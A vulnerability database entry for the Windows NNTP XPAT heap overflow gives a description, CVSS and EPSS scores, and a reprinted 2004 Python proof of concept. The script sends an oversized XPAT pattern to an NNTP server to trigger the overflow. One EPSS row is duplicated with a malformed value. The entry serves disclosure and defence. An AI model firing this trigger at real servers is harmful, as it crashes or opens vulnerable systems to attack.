CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The Network News Transfer Protocol (NNTP) component of Microsoft Windows NT Server 4.0, Windows 2000 Server, Windows Server 2003, Exchange 2000 Server, and Exchange Server 2003 allows remote attackers to execute arbitrary code via XPAT patterns, possibly related to improper length validation and an "unchecked buffer," leading to off-by-one and heap-based buffer overflows.
Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
63.98%
–
–
2023-03-12
–
–
–
95.21%
–
2023-09-24
–
–
–
95.5%
–
2024-06-02
–
–
–
95.5%
–
2024-11-03
–
–
–
94.41%
–
2024-12-22
–
–
–
91.98%
–
2025-01-19
–
–
–
91.98%
–
2025-03-18
–
–
–
–
86.02%
2025-03-30
–
–
–
–
85.37%
2025-03-30
–
–
–
–
85.37,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2004-10-15 22h00 +00:00 Author : Lucas Lavarello EDB Verified : Yes
#--
# IIS NNTP Service XPAT command heap overflow proof of concept
#
# Author:
# Lucas Lavarello (lucas at coresecurity dot com)
# Juliano Rizzo (juliano at coresecurity dot com)
#
# Copyright (c) 2001-2004 CORE Security Technologies, CORE SDI Inc.
# All rights reserved.
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE
#
# www coresecurity com
#--
from socket import *
host = "127.0.0.1"
pat = "C"*1946 + " " + "X"*10
newsgroup = "control.newgroup"
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((host, 119))
print sock.recv(512)
sock.send("group %s\x0d\x0a" % newsgroup)
print sock.recv(512)
sock.send("xpat From 1-9 %s \x0d\x0a" % pat)
# milw0rm.com [2004-10-16]